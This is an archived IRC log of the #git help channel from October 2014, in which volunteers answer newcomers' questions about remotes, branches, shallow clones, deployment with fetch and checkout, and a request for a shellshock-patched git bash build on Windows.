IRCloggy #git 2014-10-02

Provider of IRC logs since 2005.

WARNING: As Freenode became unjoinable and lost all warnings in topics, we cannot log channels on Freenode anymore.

	2014-10-02
	← fstd left	00:00
	→ fstd joined	00:00
	← echelon left	00:00
	← Mobutils left	00:00
	← imachuchu left	00:01
	→ echelon joined	00:01
	→ Pyrogerg_ joined	00:01
	← moritzs left	00:02
	← Pyrogerg left	00:02
	← Vile left	00:02
	← smccarthy left	00:02
	→ ojacobson joined	00:03
	← JanC left	00:03
	→ solker_ joined	00:04
	→ bro27 joined	00:04
	→ ajustrun joined	00:04
	→ hellome joined	00:05
	← msonntag left	00:07
	← bro27 left	00:08
	← Pyrogerg_ left	00:09
	← solker_ left	00:09
	← FofG left	00:09
	← CKyle left	00:10
	← harish left	00:10
	→ acharlieh joined	00:11
	→ kristofferR joined	00:11
	→ pr0ton_ joined	00:12
	→ FofG joined	00:12
	← mribeirodantas left	00:13
	← RogerWS left	00:13
	← Manny_ left	00:14
	← Scriptonaut left	00:14
	→ Manny joined	00:14
	← ncd\|leeN left	00:14
	→ madewokherd joined	00:14
	→ justinmburrous joined	00:14
	→ msonntag joined	00:14
	← BlakeRG left	00:15
	← baweaver left	00:15
	→ FofG_ joined	00:15
	← mizu_no_oto left	00:16
	← codeman left	00:16
	← blackmesa left	00:17
	→ JanC joined	00:17
	← FofG left	00:17
	← ajustrun left	00:18
	← ianbrandt left	00:18
	← dccc_ left	00:19
	← Ankhers left	00:20
	→ ajustrun joined	00:21
	← aidalgol left	00:21
	← msonntag left	00:21
	→ mish4 joined	00:22
	→ msonntag joined	00:22
	→ aidalgol joined	00:23
	← nnyk left	00:23
	→ akiva joined	00:23
	← chelly left	00:24
mish4	i'm trying to use git on windows and push to github, in order to do version control for an existing project. I'm confused by the order of operations. Do I first create a local repository and then push it to github? Or do I first create a repo on github and clone it and then move existing files to it? Or neither?	00:24
	→ RogerWS joined	00:24
ojacobson	either.	00:24
	← ajustrun left	00:24
ojacobson	There's nothing magic about the relationship set up by `git clone`; you can establish exactly the same relationship using an existing local repo, if you want. Github even provides instructions.	00:25
	← hcc23_ left	00:25
mish4	so i tried creating a new repository on github first, and now i created a local one. Does it make sense for me to now push my local repo to the one on github?	00:26
	because I need a https://github.com/blah/something.git to push to, which means I needed to set up a repository on github first right?	00:26
	→ xolubi joined	00:28
	→ ajustrun joined	00:28
	→ kerrick joined	00:29
	→ P4_Denis joined	00:29
	← nitrospectide left	00:29
	← akushner__ left	00:29
arand_	mish4: No, you just add it as a remote	00:29
	git remote add origin <url>	00:30
	← danemacmillan left	00:30
	→ Dougie187 joined	00:31
mish4	in order to get the url (something.git) on github, don't you have to first make a repository?	00:31
ojacobson	yes	00:31
	← msonntag left	00:31
	← ncthom91 left	00:31
arand_	you don't need to clone in order to push, was the point.	00:32
	← iamjarvo left	00:32
	← Quevin left	00:32
	← TheFuzzball left	00:33
mish4	so if i already made a repository on github first, it would make more sense for me to clone it and then add files to the cloned folder, as opposed to creating a new local repository using git and trying to push it	00:33
	→ GinoMan joined	00:33
mish4	i think thats where i made a mistake	00:33
	← ajustrun left	00:33
	← P4_Denis left	00:34
madewokherd	when you create a repository on github, it will ask whether to add a readme	00:34
	→ danemacmillan joined	00:34
madewokherd	if you do, that will create an initial commit, and you can clone it	00:34
	← jonmorehouse left	00:34
madewokherd	if you don't, you will need to create the initial commit on your local machine and push to github	00:34
	→ Ankhers joined	00:35
	→ msonntag joined	00:35
	← bbloom left	00:35
madewokherd	the end result isn't much different either way	00:35
mish4	okay, thanks for clearing that up! I was trying to push my local repo, even though there was an initial commit on github!	00:35
	because i selected the readme file	00:35
	→ watabou joined	00:36
mish4	so it was complaining that updates were rejected because remote contains work that you do not have	00:36
	thanks	00:36
	← watabou left	00:36
	→ watabou joined	00:36
	← bheesham left	00:36
	← a_le left	00:36
	← kristofferR left	00:36
	← in_deep_thought left	00:36
	→ robarelli joined	00:36
	→ MistahKurtz joined	00:37
	→ kristofferR joined	00:37
	← eburcat left	00:37
	→ a_le joined	00:38
	→ Spacew00t joined	00:38
	→ eburcat joined	00:38
	→ jordanm joined	00:38
jordanm	I have a git repo that I imported from svn a while back. I did this in a way that did not get any of the svn tags. Is there a way I can go back and import the tags? I have found a few things online, but they were all done during the initial conversion to git	00:39
	← Spacew00t left	00:39
	→ codeman joined	00:40
	← robarelli left	00:41
	← Ankhers left	00:41
	← _rnsanchez_ left	00:42
	← iliketurtles left	00:42
	→ _rnsanchez_ joined	00:42
	→ ajustrun joined	00:43
	← blakbunnie27 left	00:43
	← jiskiras left	00:44
	← justinmburrous left	00:45
jordanm	nevermind, I figured something out. I used svn2git to make a new repo and then did a git fetch --tags from that repo	00:45
	← EminenceHC left	00:46
	→ palcu joined	00:46
	← ezakimak left	00:47
	← nilg left	00:47
	← mish4 left	00:47
	→ nilg` joined	00:48
	← msonntag left	00:48
	← dreiss left	00:48
	→ lukeholder joined	00:50
	← lukeholder left	00:50
	→ lukeholder joined	00:51
	← palcu left	00:51
	→ Mobutils joined	00:51
	→ msonntag joined	00:51
	← lukeholder left	00:52
	→ dcpc007 joined	00:52
	→ lukeholder joined	00:52
	← lukeholder left	00:53
	→ lukeholder joined	00:54
	→ jonmorehouse joined	00:54
	← a_le left	00:54
	→ a_le joined	00:54
	→ nanga joined	00:55
	→ mus1cb0x joined	00:55
mus1cb0x	hi i'm new to git. i made a bunch of changes to my src files and before i committed them, i made a new branch. now only that branch shows the changes, not the master branch	00:56
	← daedeloth left	00:56
mus1cb0x	how can i "revert" this?	00:56
	i want to bring the changes back into master as if i had not made a new branch	00:56
	← holodoc left	00:56
	← kirin` left	00:56
	← souther left	00:57
	← dcpc007 left	00:57
	→ EminenceHC joined	00:57
	← a_le left	00:57
	→ souther joined	00:57
	← msonntag left	00:58
	gitinfo set mode: +v	00:59
skorgon	mus1cb0x: git rebase master && git checkout master && git merge --ff-only <other_branch>	01:00
	→ hollyw00d_ joined	01:00
	→ smccarthy joined	01:00
	← eto left	01:01
	← hollyw00d_ left	01:01
	← EminenceHC left	01:02
	→ kirin` joined	01:02
	→ msonntag joined	01:02
	→ m0ltar joined	01:02
	→ eto joined	01:02
	← evil-twin left	01:03
	← hexagoxel_ left	01:04
	← pheaver left	01:04
	→ solker_ joined	01:04
	← davispuh left	01:06
	← kballou left	01:06
	← solker_ left	01:09
	→ axl_ joined	01:09
	← mscook left	01:11
	← msonntag left	01:11
	→ msonntag joined	01:12
mus1cb0x	if i delete the branch my changes have been sucked into, will it delete my files?	01:12
	← svm_invictvs left	01:15
	← seanmerron left	01:16
	← unreal left	01:16
	← MistahKurtz left	01:16
	← Sasazuka left	01:17
ojacobson	only the snapshots on that branch, and only "eventually"	01:17
	(not instantly)	01:17
	→ blakbunnie27 joined	01:17
	← ajustrun left	01:18
mus1cb0x	i cannot believe how shitty git is	01:18
	to fuck with source?	01:18
	what a backwards design	01:18
	← kaendfinger left	01:19
ojacobson	I'm not entirely sure I made myself understood	01:19
	git is, basically, a garbage-collected object system	01:19
	the "objects" in this case are snapshots of your source tree (mostly; there are others)	01:19
mus1cb0x	it changes the source code in the file system	01:19
	→ mscook joined	01:19
	→ tranzfuse joined	01:19
ojacobson	_when you run git checkout_, beyond updating metadata identifying which snapshot the work tree is based on, git also copies that snapshot into the work tree	01:20
	(combining it with uncommitted changes in the work tree, if possible, or aborting if it would have to lose your changes)	01:20
	← desposo left	01:20
ojacobson	_when an object is unreachable inside of git_, that object can be deleted from git and will eventually be.	01:20
	there is no point at which git cleaning up unreachable objects internally will cause changes in the work tree.	01:20
	→ justinmburrous joined	01:21
	→ bbloom joined	01:21
	← fold left	01:22
	→ fold joined	01:22
	→ deuti joined	01:22
	→ Goplat joined	01:22
	→ harish joined	01:23
	← gmb2020 left	01:23
	← m0ltar left	01:24
	← cherwin left	01:24
	→ codeman_ joined	01:24
	← msonntag left	01:25
	← deuterium left	01:25
	→ otter768 joined	01:26
	← angico_ left	01:26
	→ kaendfinger joined	01:27
	← Ornacia left	01:27
	← nettoweb left	01:27
	→ tmcmahon joined	01:27
	← codeman left	01:27
	→ msmith joined	01:30
	→ Ornacia joined	01:30
	← harish left	01:30
	← GinoMan left	01:31
	→ WormDr1nk joined	01:32
	← msmith left	01:32
	→ msmith_ joined	01:32
	← d10n-work left	01:32
	← akiva left	01:33
	← m0viefreak left	01:34
	← WormDrink left	01:34
	← mscook left	01:34
	→ sitology joined	01:35
	← DTSCode left	01:37
	→ rchavik joined	01:37
	← rchavik left	01:37
	→ rchavik joined	01:37
	→ robarelli joined	01:37
	→ unreal joined	01:38
	← jonmorehouse left	01:39
	→ jason237 joined	01:40
	→ daito joined	01:40
	← tmcmahon left	01:41
	← maslowbeer left	01:42
	← robarelli left	01:42
	→ jonmorehouse joined	01:42
	→ harish joined	01:43
	→ hyperair joined	01:43
	→ m0ltar joined	01:44
	← m0ltar left	01:45
	→ akiva joined	01:45
	← dgpalmer left	01:46
	→ legend1029 joined	01:46
	→ ethan1341 joined	01:46
	← blakbunnie27 left	01:46
	← gccostabr left	01:47
	→ palcu joined	01:47
	→ mscook joined	01:48
	← darkbasic left	01:49
	→ sinkensabe joined	01:49
	→ darkbasic joined	01:49
	← jonmorehouse left	01:51
	← palcu left	01:52
	→ nettoweb joined	01:53
	← nettoweb left	01:53
	→ ferreum_` joined	01:53
	→ dgpalmer joined	01:53
	← codeFiend left	01:53
	← mscook left	01:54
	← darkbasic left	01:54
	→ nettoweb joined	01:54
	← sinkensabe left	01:54
	← mus1cb0x left	01:54
	← Ornacia left	01:54
	→ ColKurtz joined	01:55
	→ darkbasic joined	01:55
	← ejnahc left	01:55
	← _rnsanchez_ left	01:56
	← ferreum` left	01:56
	→ tokik joined	01:58
	← dgpalmer left	01:58
	← LucasTT left	01:58
	→ ejnahc joined	01:59
	→ Pyrogerg joined	01:59
	→ p4trix joined	02:00
	← kaendfinger left	02:01
	→ angico joined	02:01
	→ DTSCode joined	02:02
	→ EminenceHC joined	02:02
	← jpf left	02:03
	→ Ornacia joined	02:03
	← marmarmar left	02:04
	→ solker_ joined	02:04
	→ mscook joined	02:04
	→ dccc_ joined	02:05
	← mscook left	02:05
	→ mscook joined	02:06
	← jarr0dsz left	02:06
	← EminenceHC left	02:06
	← harish left	02:07
	← nettoweb left	02:07
	← grubba_ left	02:08
	→ svm_invictvs joined	02:08
	← solker_ left	02:08
	← otter768 left	02:09
	→ jonmorehouse joined	02:10
	→ gmb2020 joined	02:11
	→ nettoweb joined	02:12
	← mscook left	02:14
	→ Manny_ joined	02:14
	← Manny left	02:14
	← Noldorin left	02:16
	← jonmorehouse left	02:17
	→ mscook joined	02:17
	← RogerWS left	02:19
	→ jonmorehouse joined	02:19
	→ harish joined	02:19
	← mscook left	02:23
	← svm_invictvs left	02:23
	← rchavik left	02:23
	→ mueslo_ joined	02:25
	→ durianshredder joined	02:26
	← angico left	02:26
	→ rchavik joined	02:28
	← mueslo left	02:29
	→ RogerWS joined	02:29
	→ angico joined	02:29
	→ BuenGenio joined	02:29
	→ P4_Denis joined	02:30
	→ gccostabr joined	02:30
	→ otter768 joined	02:30
	→ NoNMaDDeN joined	02:30
	← jonmorehouse left	02:30
	→ marmarmar joined	02:32
	← pr0ton_ left	02:32
yates	osse: ok, the thing in yellow is a tag - what is the thing in green?	02:32
	→ mizu_no_oto joined	02:32
yates	https://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git/?h=linux-3.8.y	02:32
ojacobson	branch	02:34
	→ toothrot joined	02:34
	← P4_Denis left	02:34
ojacobson	see eg. https://git.kernel.org/cgit/fs/fuse/fuse-ext2.git/ for a more "normal"-looking example	02:34
	← teran left	02:35
	← NoNMaDDeN left	02:36
	→ amjam joined	02:36
	← tinti left	02:37
	→ robarelli joined	02:38
	← mizu_no_oto left	02:38
	← BuenGenio left	02:39
	← aidalgol left	02:40
	← tranzfuse left	02:40
	← amjam left	02:41
	← brammm left	02:41
	→ aidalgol joined	02:42
	← robarelli left	02:43
	← StefanLehmann left	02:45
	→ mscook joined	02:45
	← gccostabr left	02:45
	← gmb2020 left	02:45
	→ blakbunnie27 joined	02:46
	← ethan1341 left	02:46
	← legend1029 left	02:46
	→ gccostabr joined	02:46
	→ legend1029 joined	02:46
	→ ethan1341 joined	02:46
	→ StefanLehmann joined	02:46
	→ palcu joined	02:48
	← nettoweb left	02:49
	← mscook left	02:50
	← marklite left	02:51
	← gfixler left	02:52
	→ codeFiend joined	02:52
	← codeFiend left	02:52
	← palcu left	02:52
	→ jstimm joined	02:54
yates	ojacobson: thanks much!	02:54
	← jstimm left	02:54
	← githogori left	02:54
	→ magic joined	02:56
	← blakbunnie27 left	02:57
	→ pheaver joined	02:58
	← dccc_ left	02:58
	← Mitchbon_ left	02:59
	→ johnny2600 joined	02:59
	← danemacmillan left	02:59
	→ blakbunnie27 joined	03:00
	← xp_prg left	03:00
	→ xp_prg joined	03:01
	← rchavik left	03:03
	→ solker_ joined	03:04
	← mellernoia left	03:05
	→ CraigyDavi` joined	03:05
	→ EminenceHC joined	03:06
	→ mscook joined	03:06
	← GluonQuark left	03:08
	← solker_ left	03:09
	← marmarmar left	03:09
	→ AnujSharma joined	03:09
	→ Lunatrius joined	03:09
	← xp_prg left	03:09
	→ xp_prg joined	03:10
	← EminenceHC left	03:10
	← mscook left	03:10
	→ marmarmar joined	03:12
	← toothrot left	03:13
	← kerrick left	03:13
	→ ra0 joined	03:14
	→ mscook joined	03:14
	→ rchavik joined	03:15
	← marmarmar left	03:16
	→ marmarmar joined	03:17
	← mscook left	03:18
	← ColKurtz left	03:19
	→ iamjarvo joined	03:19
	→ neonixcoder joined	03:19
	← robins left	03:19
	← bbloom left	03:20
	→ robinsmidsrod joined	03:20
	← ra0 left	03:21
	→ mscook joined	03:21
	→ codeman joined	03:22
	← tieTYT left	03:22
	→ bezet joined	03:23
	← rchavik left	03:24
	→ ra0 joined	03:24
	→ BuenGenio joined	03:25
	→ marklite joined	03:25
	← justinmburrous left	03:26
	← zivester left	03:27
	→ flowerhack joined	03:27
	← bezet left	03:27
	← iamjarvo left	03:28
	→ rchavik joined	03:28
	← LLaurent left	03:29
	→ justinmburrous joined	03:29
	→ oojacoboo joined	03:29
	← AnujSharma left	03:30
	← ome left	03:32
	← Dougie187 left	03:33
	← segfalt left	03:33
	← madewokherd left	03:34
	← rchavik left	03:34
	← robinsmidsrod left	03:38
	→ gitty_1 joined	03:38
	→ logix812 joined	03:38
	gitinfo set mode: +v	03:38
gitty_1	hi	03:38
gitinfo	gitty_1: hi! I'd like to automatically welcome you to #git, a place full of helpful gits. Got a question? Just ask it — chances are someone will answer fairly soon. The topic has links with more information about git and this channel. NB. it can't hurt to do a backup (type !backup for help) before trying things out, especially if they involve dangerous keywords such as --hard, clean, --force/-f, rm and so on.	03:38
gitty_1	I have a question about: git clone --depth 1 [email@hidden.address]	03:39
	→ robarelli joined	03:39
gitty_1	My understanding is that just gets the latest code?	03:39
	→ robinsmidsrod joined	03:39
gitty_1	without the full history?	03:39
	so like, a snapshot of the code as of the latest commit - is that correct?	03:39
	← FofG_ left	03:40
	→ rchavik joined	03:40
	← hyperair left	03:41
	→ FofG joined	03:42
	→ nkouevda joined	03:43
	→ hyperair joined	03:43
	→ atomx joined	03:43
	← robarelli left	03:44
ojacobson	--depth is approximate, and gives you a crippled clone	03:46
	don't use it :)	03:46
	← flowerhack left	03:46
	→ rchavik_ joined	03:46
ojacobson	if you specifically want a snapshot, either make a normal clone and check out the commit you want, or if your repo is simple (no submodules, etc) use git-archive to obtain a copy	03:46
	→ flowerhack joined	03:46
gitty_1	what do you mean by a crippled clone?	03:47
ojacobson	if you make changes in it, you can't push them anywhere; you can't make more clones from it	03:48
gitty_1	oh, thats okay	03:48
	it is for use on a production server	03:48
	i wont be making changes	03:48
	← flowerhack left	03:48
ojacobson	!deploy is probably what you want, then	03:49
gitinfo	Git is not a deployment tool, but you can build one around it (in simple environments) or use it as an object store(for complex ones). Here are some options/ideas to get you started: http://gitolite.com/deploy.html	03:49
	→ flowerhack joined	03:49
ojacobson	and if you plan on deploying predictable commits, you don't want --depth at all	03:49
	→ NoNMaDDeN joined	03:49
ojacobson	there's no way to use --depth and guarantee that the desired commit will be in the fetched set, if other commits arrive between when you figure out which commit you want and when you run git-clone	03:49
	← rchavik left	03:49
gitty_1	thanks for that link, I am actually keen to try a deploy tool like that in the future	03:49
	← msmith_ left	03:50
	→ sinkensabe joined	03:50
gitty_1	I can be sure no other commits will arrive	03:50
	It's a small project	03:50
	→ fairuz joined	03:50
ojacobson	Do you plan for it to fail?	03:51
	← alvaro_o left	03:52
gitty_1	Are you saying that if I run the git clone depth command there is a likelihood of it not working?	03:52
	Or do you mean longer term, its not best practice?	03:52
	← neonixcoder left	03:53
	→ iliketurtles joined	03:53
	← codeman left	03:53
	← codeman_ left	03:53
	← watabou left	03:53
ojacobson	I mean that it's race-prone by design	03:54
	→ smw joined	03:54
ojacobson	so the only way your response - "it's a small project" - makes any sense is if you specifically plan never to have collaborators	03:54
gitty_1	I'm the only one contributing to the project right now	03:54
	← sinkensabe left	03:54
	→ kerrick joined	03:55
	→ stangeland joined	03:56
	← otter768 left	03:57
gitty_1	what I wanted to add to the original question, was how to specify the branch that it takes from. if I add "-b master" at the end is that sufficient? Or do you feel that running this command at all is just too risky?	03:57
	← johnny2600 left	03:57
ojacobson	by default it does every branch; -b changes which branch gets checked out, but not what gets fetched	03:57
gitty_1	ok	03:57
	→ falteckz joined	03:58
falteckz	When I've only the .git folder, I can git stash ; git stash drop. To recheckout all my files to restore my inde	03:58
	*index	03:58
	What is a single command alternative to this?	03:58
	← ivan\ left	03:58
ojacobson	'git checkout -- .' will do most of it	03:58
falteckz	I feel like I'm missing some fundimental understanding. I thought git checkout HEAD -- would do the trick.	03:58
	← Consuela left	03:58
gitty_1	ojacobson, do you think git clone is excessive for my needs?	03:58
falteckz	So omit the HEAD bit	03:58
gitty_1	it sounds like it might be easier to just download the zip from github and upload that	03:59
falteckz	yeah git checkout -- does nothing	03:59
ojacobson	gitty_1: for deployment, I'd use normal "git clone" the first time, and "git fetch" followed by "git checkout" thereafter, to get the tree to deploy	03:59
falteckz	It does not restore the index as it assumes that I've deleted everything	03:59
	Perhaps a reset?	03:59
ojacobson	falteckz: that's not the command I suggested.	03:59
	→ ColdKeyboard joined	03:59
ojacobson	All the arguments I suggested matter.	03:59
falteckz	Oh	03:59
	I did not observe the period	03:59
gitty_1	ojacobson, but if I don't need the entire git history is it still worth doing?	03:59
falteckz	The period being the target directory of the checkout	04:00
	makes sense	04:00
gitty_1	thats why i thought git clone depth might be what I need	04:00
ojacobson	paradoxically, using 'git fetch' will probably be lighter in the long run	04:00
	each fetch only has to download _new_ changes, not the whole repo; re-downloading the entire project is probably more expensive	04:00
	falteckz: I believe :/ is the work tree root, if you prefer	04:01
gitty_1	okay, so you recommend	04:01
	git clone [email@hidden.address]	04:01
ojacobson	(I have 'git add --all :/' in an alias somewhere, for example)	04:01
gitty_1	git fetch	04:01
	git checkout master	04:01
	?	04:01
ojacobson	'git checkout origin/master'	04:01
falteckz	^	04:01
ojacobson	for deployment, your local 'master' is irrelevant	04:01
falteckz	checkout master will checkout a local	04:01
gitty_1	ok	04:01
ojacobson	(and will rapidly become stale; might even want to delete it entirely)	04:01
gitty_1	do i need git pull anywhere?	04:02
ojacobson	Do you want to run merges?	04:02
	Because that's what git-pull does.	04:02
falteckz	gitty_1, think of pull as fetch then merge	04:02
	Unless you --rebase, then it's a fetch and rebase	04:02
gitty_1	ok	04:02
falteckz	It's basically sugar for the two commands	04:03
ojacobson	It	04:03
	er	04:03
	'git pull' is basically a terrible idea for new users	04:03
	I really wish 'git push' didn't "helpfully" suggest it	04:03
	← ra0 left	04:03
falteckz	ojacobson, What is the -- syntaxically equivilent to? I see it in the shorthand examples on the man page, but there is no further mention of it	04:03
	Is it short for something else?	04:03
ojacobson	'--' is a posix-ism for "no further options, arguments only from here out"	04:03
falteckz	Okay	04:04
ojacobson	git extends that a bit to "no options or refs, only paths after this"	04:04
	it's useful for disambiguating between a branch named "master" and a file named "master"	04:04
falteckz	I would assume it's optional then and would only cause issues if you had a file or path that conflicted with a ref	04:04
	yes	04:04
	→ solker_ joined	04:04
ojacobson	(it also coerces checkout into checkout-some-files mode even if there's nothing after it, because git's UI is nothing if not hideously modal)	04:04
falteckz	git has a UI?	04:05
ojacobson	git(1) is a user interface	04:05
falteckz	Or do you just mean the syntax structure of the whole thing	04:05
	Right okay	04:05
	I assumed something graphical or curses based	04:05
	← BuenGenio left	04:05
falteckz	I know I got in to a bad habit when learning git	04:05
	and that was to git pull --rebase EVERYTHING	04:06
gitty_1	okay, i'll try as you suggested. thanks	04:06
falteckz	rewrite all the history	04:06
ojacobson	falteckz: not great, but better than littering history with undesired merge commits	04:06
falteckz	I guess it's okay on local branches, but then I would push those up, and people would get confused	04:06
	This is why we squash	04:06
	make commits every 10 minutes in one branch	04:07
	squash to one feature in master	04:07
	That's how I've done it in the past at least	04:07
ojacobson	!sausage	04:07
gitinfo	[!sausage_making] Some developers like to "hide the sausage making", transforming their commits before presenting them to the outside world. See http://sethrobertson.github.com/GitBestPractices/#sausage and !perfect	04:07
falteckz	!perfect	04:07
gitinfo	[!postproduction] So, you want to make your commit history look pretty before pushing? http://sethrobertson.github.com/GitPostProduction talks you through how to use 'rebase -i' to do this.	04:07
falteckz	interactive rebase	04:07
	Yeah I'm aware	04:07
	→ EminenceHC joined	04:08
gitty_1	so what does git fetch do that git clone doesn;t?	04:08
falteckz	git clone pulls down all refs and objects	04:08
	fetch gets the new ones	04:08
	the ones you don't have	04:08
	That's my understanding anyway	04:09
ojacobson	Nothing. 'git clone' is equivalent to running 'git fetch' in a new repo, followed by 'git checkout master'.	04:09
	← solker_ left	04:09
falteckz	I hadn't thought of it like that	04:09
ojacobson	'git fetch' in an empty repo has a lot more work to do than 'git fetch' in a repo that already has all but the most recent commits in it.	04:09
falteckz	I guess you could git init, then add remotes, fetch and checkout	04:09
ojacobson	yup	04:09
falteckz	But that sounds like hell when you can clone	04:09
gitty_1	so after I run git clone, i don't really need to run git fetch?	04:09
falteckz	nope	04:09
ojacobson	not immediately	04:10
	you do when you want to get new changes	04:10
gitty_1	ok	04:10
	but I should run git checkout origin/master straight away?	04:10
	or will it be checked out by default?	04:10
	← mscook left	04:10
falteckz	Your local copy will be checked out	04:10
	→ zivester joined	04:10
falteckz	-- ojacobson, why does gitty_1 not want to work with local branches?	04:11
gitty_1	what is wrong with the local one being checked out?	04:11
	→ pr0ton_ joined	04:11
	→ BuenGenio joined	04:11
	← BuenGenio left	04:11
	→ jiskiras joined	04:11
	→ VBlizzard joined	04:11
	→ BuenGenio joined	04:11
	← BuenGenio left	04:11
ojacobson	falteckz: for deployment, you usually want either a specific commit, or the latest commit on some branch	04:11
falteckz	Oh so he's not developing?	04:11
	→ BuenGenio joined	04:12
ojacobson	why go to all the effort of moving local branches around to accomplish that, when (a) deployment rarely creates new commits to track, and (b) git doesn't require it	04:12
falteckz	gitty_1, if you're not editing code, you don't need a local copy	04:12
	← BuenGenio left	04:12
	← EminenceHC left	04:12
falteckz	gitty_1, since you just want the latest of someone elses work, you checkout remotes	04:12
	← ALiXyrus left	04:12
gitty_1	ah ok	04:12
	so i checkout the remote then, and any changes in the future I can just git pull?	04:13
	→ mennea joined	04:13
	→ Manny joined	04:14
	→ King_Hual joined	04:14
	← Manny_ left	04:14
ojacobson	'git fetch --all && git checkout <target>'	04:14
	eg. '.. && git checkout origin/master' if you're always releasing the branch	04:15
gitty_1	ah so that just sort of, overrides, the code does it?	04:15
	rather than worrying about merging, just get the latest and override	04:15
	← aidalgol left	04:15
	← sgen__ left	04:15
ojacobson	'git fetch' ensures that 'origin/master' is exactly the same as origin's "master" branch	04:15
gitty_1	ok	04:15
ojacobson	'git checkout' moves the work tree to that commit	04:15
	← lindenle left	04:16
	← stangeland left	04:16
gitty_1	git checkout origin/master fatal: Not a git repository (or any of the parent directories): .git	04:16
	→ lindenle joined	04:16
gitty_1	ah hang on	04:16
	← zivester left	04:16
	→ morphix0 joined	04:17
gitty_1	never mind	04:17
falteckz	change dirs :P	04:17
	You cloned and didn't cd	04:17
gitty_1	yeah I hadn't cd'd	04:17
falteckz	Curiously I can't find a method of creating a repo with a remote, but not fetching	04:18
ojacobson	'git init && cd && git remote add'	04:18
	hth	04:18
falteckz	I meant in a single command with switches :P	04:18
ojacobson	Write a script named git-empty-clone that does the above	04:18
	invoke as 'git empty-clone' ;)	04:18
falteckz	Or make an alias	04:19
ojacobson	or that.	04:19
falteckz	aliases are beautiful	04:19
ojacobson	It'd have to be a shell alias, at which point: might as well write a freestanding command	04:19
falteckz	Ahh yes of course	04:19
	I thought I had more than one command execute on my git publish alias..	04:19
	maybe not	04:19
	Actually I might have used hooks in the end	04:19
	→ BlakeRG joined	04:20
falteckz	Downside to using Windows is the lack of a package manager	04:21
	← smccarthy left	04:21
	← lindenle left	04:22
gitty_1	thank you for your help	04:22
	it looks to have worked well	04:22
	← morphix0 left	04:22
falteckz	Having to download updates like a savage	04:23
	ojacobson, So who are you in the real world? Software developer?	04:24
	← logix812 left	04:24
ojacobson	many things	04:24
falteckz	What profession or hobbies? Prefered languages?	04:25
	→ jonmorehouse joined	04:25
ojacobson	since I do most of them under my real name, you can pretty much find me easily via any random search engine	04:25
	← Dreadnaught left	04:25
	← King_Hual left	04:26
	→ kyb3r_ joined	04:26
	→ zivester joined	04:26
falteckz	ojacobson, Quick look I'm going to say primarily web development? RoR ?	04:26
	→ Dreadnaught joined	04:27
	← Dreadnaught left	04:27
	→ Dreadnaught joined	04:27
	← CheckDavid left	04:27
	→ makesoda joined	04:27
falteckz	Bit of shell work, occasionally using python instead of shell. dabble in PHP and Node.JS	04:27
	And to your own suffering, you develop in Java too :P	04:28
	I am currently building my first Web Application	04:28
	Foundation + Ember.JS Frontend with Node.JS backend	04:28
	→ P4_Denis joined	04:30
	← daito left	04:30
	← makesoda left	04:31
	→ punchagan joined	04:31
falteckz	And I kick up node-thesus and everything stops working due to invocation count D:	04:32
	→ makesoda joined	04:32
	→ hahuang65 joined	04:32
	→ githogori joined	04:32
	← githogori left	04:33
	← makesoda left	04:34
	← P4_Denis left	04:35
	→ subhojit777 joined	04:36
	→ kcj joined	04:36
	→ squirel joined	04:36
	← zivester left	04:37
	→ tranzfuse joined	04:37
	← justinmburrous left	04:38
	gitinfo set mode: +v	04:38
	← veebers left	04:38
squirel	hey all, trying to find a recent windows distribution with all the shellshock exploit fixes..	04:39
	for git bash	04:39
	→ justinmb_ joined	04:40
	← flowerhack left	04:41
	← tranzfuse left	04:41
	→ flowerhack joined	04:41
	← eliasr left	04:42
falteckz	..	04:43
	→ yaymukund joined	04:43
	← refried_ left	04:43
falteckz	I'm assuming you're using cygwin	04:43
	← mennea left	04:43
squirel	no, git bash.. I can patch cygwin	04:43
falteckz	git bash is a thing?	04:43
	→ mennea joined	04:43
falteckz	If it's a thing, I don't have it in my Windows setup	04:43
yaymukund	Can I have a custom `git foobar` command specific to a repository? (only for myself, so it doesn't need to be tracked or anything)	04:43
	→ ra0 joined	04:44
falteckz	squirel, yeah I don't think git bash is a thing	04:44
squirel	yeah, its a thing.. lol http://git-scm.com/download/win	04:44
falteckz	What is it?	04:44
	That's not git bash, that's just git	04:44
	Git bash isn't a thing	04:44
	bash is a thing	04:44
	git is a thing	04:44
	The hell is git bash	04:45
squirel	I know.. but when you install the GIT client, its "called" git bash.	04:45
falteckz	Windows doesn't have bash unless you've installed it with cygwin or something similar	04:45
	It's called.. git	04:45
	bash is a shell for unix	04:45
squirel	trust me, Im looking at it right now.. I know what bash is..	04:45
falteckz	I'm guessing you're running some windows port of bash then	04:46
squirel	that client installs an entire mini linux setup..	04:46
falteckz	Yeah you're running cygwin then	04:46
	I didn't install it that way	04:46
	I run git from cmd or powershell	04:46
	no bash	04:46
squirel	I have git running in cygwin too, thats easy to patch..	04:46
	I have many systems..	04:46
falteckz	Can you screenie your terminal that you're using ?	04:47
squirel	but I also installed the git client from the link above.. that is its own bash install..	04:47
	← pr0ton_ left	04:47
squirel	lots of programs do that.. perforce installs its own mini linux like env too..	04:47
	→ brutal_lobster joined	04:47
	→ neonixcoder joined	04:48
	← VBlizzard left	04:48
falteckz	Okay	04:48
	I am sure it was an option	04:48
	I just installed git to path	04:48
	Then I use powershell + posh git	04:48
	Because it's beautiful	04:49
	→ thiago joined	04:49
squirel	its a handy install, easy to document for other users to set up.. install this, pull this repo and your done..	04:49
	gotta keep it simple for the simpletons..	04:49
falteckz	cygwin is far from simple	04:49
squirel	heck no.. not	04:50
	→ palcu joined	04:50
	→ Warrior-kkk joined	04:50
	→ msmith joined	04:50
squirel	try explaining the setup.exe thing to a cygwin novice, and how they need to select what tools to install etc..	04:50
	my instructions..	04:50
	google git bash	04:50
	install it with all defualts	04:50
	git clone ssh://yadayada	04:51
	→ vurma joined	04:51
falteckz	Eugh	04:51
squirel	lol	04:51
falteckz	screenshot your terminal	04:51
	and imgur why you broken!	04:51
	→ arthurvr joined	04:51
squirel	im not broken.	04:51
falteckz	No, imgur is being an ass	04:52
	though it could be chrome	04:52
squirel	Im looking for an update version with a already patched bash.	04:52
falteckz	Can you screenshot your terminal?	04:53
squirel	not much to see..	04:53
falteckz	This is what there is to see on mine	04:53
squirel	Welcome to Git (version 1.8.1.2-preview20130201)	04:53
	Run 'git help git' to display the help index.	04:53
	Run 'git help <command>' to display help for specific commands.	04:53
falteckz	http://i.imgur.com/U2yUgvx.png	04:53
	That's not a screenshot	04:53
	← flowerhack left	04:53
	← arthurvr left	04:53
squirel	looks like powershell running git..	04:53
falteckz	It is	04:54
